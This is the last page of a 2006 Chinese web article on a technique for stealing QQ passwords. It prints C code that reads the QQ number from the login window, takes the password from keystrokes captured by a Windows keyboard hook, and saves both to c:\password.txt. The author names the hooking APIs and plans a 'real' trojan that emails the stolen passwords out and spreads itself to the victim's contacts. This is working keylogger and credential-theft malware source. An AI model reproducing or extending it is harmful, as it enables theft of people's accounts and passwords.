WEB开发网
开发学院网络安全黑客技术 黑客心得:盗QQ密码的软件模拟实现技术 阅读

黑客心得:盗QQ密码的软件模拟实现技术

 2006-11-07 20:05:13 来源:WEB开发网   
核心提示: QQ密码的子窗口句柄 g_hPsw 此部分暂时不使用,你可以看到下面代码中有句用到g_hPsw的语句是我注释掉了的,黑客心得:盗QQ密码的软件模拟实现技术(5),原因是无法通过那样去得到QQ密码,得处理按键消息 void GetPasswrod() { //声明变量和初始化 HANDLE

QQ密码的子窗口句柄 g_hPsw 此部分暂时不使用,你可以看到下面代码中有句用到g_hPsw的语句是我注释掉了的,原因是无法通过那样去得到QQ密码,得处理按键消息

void GetPasswrod()

{

//声明变量和初始化

HANDLE f;

TCHAR num[13];

TCHAR psw[21];

TCHAR total[50];

int j;

memset(num,0,sizeof(num));

memset(total,0,sizeof(total));

memset(psw,0,sizeof(psw));

DWORD dw;

//得到QQ号的内容,以为有的人的QQ号是在登陆框有记录,其QQ号并是用键盘输入的

GetWindowText(g_hNum,(LPSTR)num,sizeof(num));

//GetWindowText(g_hPsw,(LPSTR)psw,sizeof(psw)); //此句不使用,无法这样获得密码

//提取出键盘记录,此内容也许全是密码,也许是QQ号+QQ密码

for(j=0;j<20;j++)

{

psw[j]=(TCHAR)pmsg[j*2].wParam ;

}

psw[j+1]='';

//把QQ号码和QQ密码写入C盘password.txt中

f=CreateFile("c:\password.txt",GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);

strcat(total,"号码");

strcat(total,num);

strcat(total,"密码:");

strcat(total,psw);

WriteFile(f,&total,sizeof(total),&dw,NULL);

CloseHandle(f);

}

最后在C盘password.txt也许会出现这样两种情况:

1)当QQ号是没有用输入,而已用的粘贴或者是电脑以前有记录则是:号码:21728812密码:TEST

2) 当QQ号是用的键盘输入,电脑没有QQ号记录时则是: 号码:21728812密码:21728812TEST

可以看出,第2种情况把QQ当成了密码了,所以密码还得减去QQ号,

特别说明:我这样直接处理wParam参数,得到的字符密码全是大写的,具体大小写问题我没有就没有仔细去处理的,功能实现就行了,毕竟我使用他不用来盗密码的!

上面四部分基本上获得密码的功能介绍完毕。凡是没有介绍的变量皆是全局变量,没有提到的函数如:GetWindowThreadProcessId(),SetWindowsHookEx(),UnhookWindowsHookEx(),CallNextHookEx(),CreateFile(),WriteFile()等皆是Windows API,详细使用说明请查MSDN(http://www.msdn.com),我提到的“HOOK”,“钩子”是同一个意思,也许有的地方我说的钩子函数,而另外一个地方说的是HOOK函数

特别说明:上面有具体的运行文件,由于小弟并没有考虑到更多细节,我只是用了“理想”状况下去获得密码,并且或的密码后并没有注重后期密码处理,也许出现密码大小写不符合或是无法得到密码,请大家千万别笑话,我写这篇菜鸟级别的Blog的原因意在告诉一些对这方面感到疑惑的朋友基本的原理,和希望和大侠们交流 !

后期如果有必要的话,我准备进行改版,按照“真正”的QQ“木马”来写,如:对QQ版本进行识别,密码自动发送到E-MAIL,加入QQ尾巴代码,使其自动传给好友的等功能!请关注我的主页 http://www.uisoft.net

注意:我使用的QQ2005 贺岁版 版本号:13.5.0.8213,其他版本的QQ我无法保证可以正确的到密码!

上一页  1 2 3 4 5 

Tags:黑客 心得 QQ

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接